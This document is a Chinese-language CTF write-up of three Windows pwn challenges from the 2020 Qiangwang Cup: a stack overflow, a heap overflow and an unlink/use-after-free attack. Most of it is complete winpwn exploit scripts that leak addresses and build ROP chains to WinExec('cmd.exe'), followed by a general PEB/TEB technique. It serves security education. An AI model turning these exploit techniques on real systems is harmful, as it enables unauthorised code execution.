2020 强网杯线上赛 3 道 windows pwn writeup

在 2020 强网杯线上赛中有三道 windows pwn：StackOverflow、wint、wingame，其中一道栈溢出，两道堆溢出，下面堆着三道题进行复现。

env

1. windows 10 pro 10.0.19041.508
2. winpwn (mini pwntools for windows pwn): https://github.com/Byzero512/winpwn
3. windbgx

StackOverflow

本题漏洞是栈溢出，并且由于是使用 read 进行输入，所以可以内存泄露出系统 dll 和程序的基址。

并且，由于系统 dll 的地址只有在 reboot 的时候才会进行变化，我们可以打开多个进程, 分别泄露出不同的系统 dll 的基址。

```
1__int64 sub_1000()
2{
3  FILE *v0; // rax
4  FILE *v1; // rax
5  FILE *v2; // rax
6  signed int v3; // ebx
7  char Dst; // [rsp+20h] [rbp-118h]
8
9  v0 = (FILE *)_acrt_iob_func(0i64);
10  setbuf(v0, 0i64);
11  v1 = (FILE *)_acrt_iob_func(1i64);
12  setbuf(v1, 0i64);
13  v2 = (FILE *)_acrt_iob_func(2i64);
14  setbuf(v2, 0i64);
15  v3 = 3;
16  do
17  {
18    --v3;
19    memset(&Dst, 0, 0x100ui64);
20    puts("input:");
21    read(0, &Dst, 0x400u);
22    puts("buffer:");
23    puts(&Dst);
24  }
25  while ( v3 > 0 );
26  return 0i64;
27}
```

在 windows 的 rop 中, 我们一般 rop 去执行 kernel32!WinExec("cmd.exe", 1), 而不是 ucrtbase!system("cmd"), 因为某些进程不一定会加载 ucrtbase.dll

exp

```python
from winpwn import *
ru=lambda s:p.recvuntil(s)
rl=lambda :p.recvline()
rul=lambda s:p.recvuntil(s+'\n')
sl=lambda s:p.sendline(str(s))
sd=lambda s:p.send(str(s))
rn=lambda n:p.recvn(n)

def run(ip=None,port=None):
    global p,is_debug
    if ip and port:
        is_debug=False
        p=remote(ip,port)
    elif libpath and binarypath:
        p=process(binarypath,env={'LD_PRELOAD':libpath})
    else:
        p=process(binarypath)
def debugf(s=''):
    if is_debug:
        windbgx.attach(p,s)

def exp(ip=None,port=None):
    global p
    run(ip=ip,port=port)
    ru("input:\r\n")
    sd("a"*0x118)
    ru("buffer:\r\n")
    rn(0x118)
    binbase=u64(rn(6).ljust(8,"\x00"))-0x12f4
    print(hex(binbase))
    ru("input:\r\n")
    sd("a"*0x158)
    ru("buffer:\r\n")
    rn(0x158)
    kernel32_base=u64(rn(6).ljust(8,'\x00'))-0x16fd4
    winexec=0x65fc0+kernel32_base
    p.close()

    p=process("./StackOverflow.exe")
    ru("input:\r\n")
    sd("a"*0x100)
    ru("buffer:\r\n")
    rn(0x100)

    call_rcx=kernel32_base+0x33711
    pop_rbp_ret=binbase+0x17ee
    call_puts=binbase+0x109B
    pop_rcx_ret=0x77e01+kernel32_base
    pop_rdx_ret=kernel32_base+0x24ea2
    mov_into_rdx_rcx_ret=kernel32_base+0x166af

 print(hex(binbase),hex(kernel32_base),hex(winexec),hex(pop_rcx_ret),hex(ca
ll_rcx))
```

```
    cookie=u64(rn(6).ljust(8,'\x00'))
    payload=("a"*0x100+p64(cookie)).ljust(0x110,"b")+p64(0)

 payload+=p64(pop_rdx_ret)+p64(binbase+0x3ff0)+p64(pop_rcx_ret)+"cmd.exe\x00"+p64(mov_into_rdx_rcx_ret)

 payload+=p64(pop_rcx_ret)+p64(binbase+0x3ff0)+p64(pop_rdx_ret)+p64(1)+p64(winexec)
    ru("input:\r\n")
    sd(payload)
    ru("input:\r\n")
    sd(payload)
    p.interactive()

context.log_level="debug"
context.arch="amd64"
context.aslr=True
p=None
libpath=None
binarypath=["./StackOverflow.exe"]
is_debug=True
exp()
```

wint

这道题虽说是堆溢出，但是和堆分配机制没有任何关系，是通过程序本身提供的功能做到任意地址读写。

先介绍一下程序的提供的几个功能：

1. setup: 创建了一个下面的结构体在堆上，并将其指针保存在一个全局数组中

```
struct node{
    std::string name;
    uint64 age; // 实际上这个 age 是当成 size 来使用
    char *pData; // pBuf=malloc(age);
};
```

2. show：伪代码如下， 对 setup 的一些数据进行输出

```
std::cout<< pNode->name << std::endl;
std::cout<< pNode->age << std::endl;
write(1, pNode->pData, age);
```

3. destory：对 setup 创建的资源进行释放
4. edit：伪代码如下，本题漏洞就在这里，先对 age 进行了改变， 然后在读入长度为 age 的输入，就导致了一个堆溢出

```
std::cin >> pNode->name;
std::cin >> pNode->age;
read(0, pNode->pData, pNode->age);
```

我们通过 setup 两个 Node：Node1 和 Node2，然后通过 edit Node1 时的堆溢出，对 Node2 的 pData 进行修改，之后对 Node2 进行 edit 或者 show 操作即可造成任意地址读写。

```
from winpwn import *
ru=lambda s:p.recvuntil(s)
rl=lambda :p.recvline()
rul=lambda s:p.recvuntil(s+'\n')
sl=lambda s:p.sendline(str(s))
sd=lambda s:p.send(str(s))
rn=lambda n:p.recvn(n)

def run(ip=None,port=None):
    global p,is_debug
    if ip and port:
        is_debug=False
        p=remote(ip,port)
    elif libpath and binarypath:
        p=process(binarypath,env={'LD_PRELOAD':libpath})
    else:
        p=process(binarypath)

def debugf(s=''):
    if is_debug:
        windbgx.attach(p,s)

def menu(i):
    ru("Exit\r\n")
    sl(i)
def add(name,size,data):
    menu(1)
    ru("name: ")
    sl(name)
    ru("age: ")
    sl(size)
    ru("data: ")
    sd(data)
def delete(i):
    menu(2)
    ru("index: ")
    sl(i)
def show(i):
    menu(3)
    ru("index: ")
    sl(i)
def edit(i,name,size,data):
    menu(4)
    ru("index: ")
    sl(i)
    ru("name: ")
    sl(name)
    ru("age: ")
    sl(size)
    ru("data: ")
    sd(data)
def exp(ip=None, port=None):
```

```
    run(ip=ip, port=port)
    add("1",0x18,"cmd.exe\x00"*3) # 0
    add("1",0x18,"cmd.exe\x00"*3) # 1
    add("1",0x18,"cmd.exe\x00"*3) # 2
    payload="c"*0x20
    payload+=p64(0x0)+p64(0x0)+p64(0)+p64(0)+p8(0x40)
    edit(0,"1",len(payload),payload)
    show(1)
    ru("age: ")
    rl()
    heap_addr=u64(rn(8))

    def leak(where,length=8):
        payload="c"*0x20
        payload+=p64(0x0)+p64(0x0)+p64(0)+p64(0)+p64(where)+p64(length)
        edit(0,"1",len(payload),payload)
        show(1)
        ru("age: ")
        rl()
        addr=u64(rn(8))
        return addr
    ntdll=leak(heap_addr-0x6a0)-0x168ed0
    pebLdr_addr=ntdll+0x16a4c0
    teb=leak(pebLdr_addr-0x78)+0xf80
    peb=teb-0x1000
    print(hex(heap_addr),hex(ntdll),hex(teb),hex(peb))
    stack_addr=leak(teb+0x8)
    print("stack: ",hex(stack_addr))
    bin_base=leak(peb+0x10)
    print("bin_base: ",hex(bin_base))
    winexec=leak(bin_base+0x34000)-0x24e80+0x65fc0
    ret_addr=bin_base+0xdd34
    while(True):
        stack_addr-=8
        addr=leak(stack_addr)
        if ret_addr==addr:
            break
    print(hex(stack_addr))
    pop_rcx_ret=bin_base+0x1f690
    pop_rdx_ret=bin_base+0x1f342
    ret=bin_base+0x1199

 print(hex(heap_addr),hex(ntdll),hex(teb),hex(teb),hex(stack_addr),hex(bin_
base),hex(winexec))
    def writeTo(where):

 rop=p64(pop_rcx_ret)+p64(heap_addr)+p64(pop_rdx_ret)+p64(1)+p64(ret)+p64(
winexec)
        payload="c"*0x20
        payload+=p64(0x0)+p64(0x0)+p64(0)+p64(0)+p64(where)+p64(len(rop))
        edit(0,"1",len(payload),payload)
        edit(1,"1",len(rop),rop)
    writeTo(stack_addr)
    menu(5)
    p.interactive()

context.log_level="debug"
context.arch="amd64"
```

```
context.aslr=True
p=None
libpath=None
binarypath=["./WINT.exe"]
is_debug=True
exp()
```

wingame

这道题使用了 windows 下的 unlink 对堆进行攻击，windows 下的 unlink attack 比 glibc 的 unlink attack 简单一些， 因为 unlink check 时要求堆指针指向 user data 即可，而 glibc 则要求指向堆头。

最大的问题是，这道题的 warmup 使用的是进程默认堆，默认堆初始化时有个随机化操作，导致 warmup 这个前置挑战里面的堆风水有些困难。

warmup

先介绍一下 warmup 里面的几个功能

1. add： 输入 size， 然后 malloc size 大小的内存，然后把指针和 size 保存到全局数组中
2. delete：删除 add 分配出来的内存块
3. edit：这里有一个 offbyone 漏洞，但是只能 edit 两次
4. show：这个操作涉及到若干个结构体

```
// 第一种是由 SysAllocString() 创建出来的结构体
struct sysString{
    size_t size;
    wchar buf[size]; // 伪代码
};
// 第二种是一个自定义的类，里面保存了我们需要泄露的随机数
struct diyClass{
    void *pvftb;
    size_t randcode;
    wchar buf[46];
};
// 第三种，是 c++ 里面 string 类的结构体
```

在 show 中，有两种选择：

1. 直接 puts(diyClass.buf)
2. 第二种是将 sysString 转换成 c++ 里面的 std::wstring，之后选择打印 std::wstring 里面的某一个字符。

```
// sysString 转换成 std::wstring 的操作如下
len = SysStringByteLen(pSysString); // return sysString.len
wstring::wstring(&string, pSysString, len);
```

在 warmup 中我们需要泄露出 diyClass 里面的 randcode，但是，这里唯一的漏洞在于 edit 中的两次 offbyone，所以我们需要下面的堆布局：

```
Node // 这个 Node 是由 add 操作分配出来的内存块
sysString
diyClass
```

我们通过 edit Node，覆盖掉 sysString 里面的 size，使 size 足够大，然后，在 show 中的将 sysString 转换成 std::wstring 时，会把后面 diyClass 也复制到 std::wstring, 之后就可以泄露出 diyClass 里面的 randcode。

game

game 是由于 destory 功能中，没有置空指针， 导致了 UAF，可以使用 unlink 进行攻击。

windows 下的 unlink attack 可以参考 https://xz.aliyun.com/t/6319，里面讲的很详细， unlink attack 之后我们就可以做到任意地址读写了。

exp

利用脚本可能由于默认堆的初始化的不同而无法正常运行，需要自己调整。

```
from winpwn import *
ru=lambda s:p.recvuntil(s)
rl=lambda :p.recvline()
rul=lambda s:p.recvuntil(s+'\n')
sl=lambda s:p.sendline(str(s))
sd=lambda s:p.send(str(s))
rn=lambda n:p.recvn(n)
sla=lambda s1,s2:(p.recvuntil(s1),
p.sendline(str(s2))
)
sa=lambda s1,s2:(p.recvuntil(s1),
p.send(str(s2))
)
def run(ip=None,port=None):
    global p,is_debug
    if ip and port:
        is_debug=False
        p=remote(ip,port)
    elif libpath and binarypath:
        p=process(binarypath,env={'LD_PRELOAD':libpath})
    else:
        p=process(binarypath)

def debugf(s=''):
    if is_debug:
        windbgx.attach(p,s)
def menu1(i):
    ru("Command: ")
    sl(i)
def add(size,content):
    menu1(1)
    sla("Note size:",size)
    sa("Note:",content)
def delete(index):
    menu1(2)
    sla("Note index:",index)
def edit(index,content):
    menu1(3)
    sla("Note index:",index)
```

```
    sla("New note:",content)
def wenc(which=0):
    menu1(4)
    sla("[0/1]\r\n",which)
def wshow(which=0,offset=0):
    menu1(5)
    sla("[0/1]\r\n",which)
    if(which==1):
        sla("one do you want to show:",offset)
def wback():
    menu1(6)
def gshow(index):
    menu1(4)
    sla("Note index:",index)

def exp(ip=None,port=None):
    run(ip=ip,port=port)
    sla("Command: ",1)
    for i in range(8):
        add(0x98,p8(i+1)*0x98+'\n')
    for i in range(2):
        add(0x198,p8(i+0x10)*0x198+'\n')
    wenc(1)
    wenc(0)
    edit(9,'\x11'*0x198+'\x12'*7+'\n')
    edit(9,'\x11'*0x198+'\x12'*8+'\xfe\xff'+'\n')
    wshow(1,131)
    codebase = u8(p.recv(1))
    codebase = codebase << 16
    wshow(1,132)
    random1 = p.recv(1)
    random2 = p.recv(1)
    wshow(1,133)
    random3 = p.recv(1)
    random4 = p.recv(1)
    random = random1+random2+random3+random4
    random5 = u32(random)
    wback()
    # debugf("bp 401859")
    print('codebase = '+hex(codebase))
    print('random = '+hex(random5))
    sla("Command: ",2)
    sla("Secret:",p32(random5))

    add(0x10,'a'*0x10+"\n")
    add(0x10,'b'*0x10+"\n") # remove from list
    add(0x10,'c'*0x10+"\n")
    add(0x10,'d'*0x10+"\n")
    add(0x10,'cmd.exe\x00'*0x2+"\n")
    delete(1)
    delete(3)               # why need?
    gshow(1)
    ru("Note:")
    heap_addr=u32(rl().strip("\r\n").ljust(4,'\x00'))

    edit(1,p32(0x4064dc)+p32(0x4064e0))
    delete(0)
    edit(1,p32(0x004064e0)+p32(0x4)+p32(0x004064e0)+p32(0x4))
```

```
    def readFrom(where):
        edit(2,p32(where))
        gshow(1)
        ru("Note:")
        l=rl()[0:4]
        return u32(l.strip("\r\n").ljust(4,'\x00'))
    def writeTo(where,content):
        edit(2,p32(where))
        edit(1,content)
    writeTo(0x406020,0x20)

    kernel32_base=readFrom(0x404000)-0x209a0
    ntdll_base=readFrom(kernel32_base+0x81B70)-0x790a0
    pebldr=ntdll_base+0x00125d80
    # debugf()
    print(hex(pebldr))
    peb=readFrom(pebldr-0x64)-0x154
    teb=peb+0x3000 # 0xf000 -0x1ef000
    winexec=0x5cd60+kernel32_base
    # stack_addr=readFrom(teb+0x8)
    # print(hex(stack_addr))
    print(hex(teb),hex(peb))
    stack_addr=readFrom(teb)
    print(hex(teb),hex(peb))
    print(hex(stack_addr))
    ret_addr=0x40239A
    if(stack_addr==0):
        teb=peb+0xf000
        stack_addr=readFrom(teb)
    stack_addr=stack_addr+0x12c
    cmd_sh=heap_addr-0x18
    # debugf()
    payload=p32(winexec)+p32(0)+p32(cmd_sh)+p32(1)
    for i in range(4):
        writeTo(stack_addr+i*4,payload[i*4:(i+1)*4])
    print(hex(stack_addr),hex(heap_addr))
    p.interactive()
context.log_level="debug"
context.arch="i386"
context.aslr=True
p=None
libpath=None
binarypath=["./WinGame.exe"]
is_debug=True
exp()
```

windows 堆利用在可以任意地址读写之后如何 get shell

在 windows 下， 由于没有类似 glibc 下的 malloc_hook 或者 free_hook等等函数钩子来控制程序流，所以需要将堆利用转换成栈利用，这个转换过程一般要求任意地址读写。具体转换流程是：

1. 在堆开始的地方，一般保留有 一些系统 dll 和程序相关的地址，然后通过 dll 或者程序里面的导入表导出表来确定 kernel32!WinExec 和 ntdll!PebLdr 的地址
2. ntdll!PebLdr 附近帮助我们获得 Peb 地址的值，而 Teb 和 Peb 的偏移一般是固定的，所以也可以获得 Teb 的地址

3. 在 Teb 里面记录了栈的地址，通过对栈进行任意地址读写，找到并覆盖栈上的函数返回地址来控制程序流到 kernel32!WinExec 中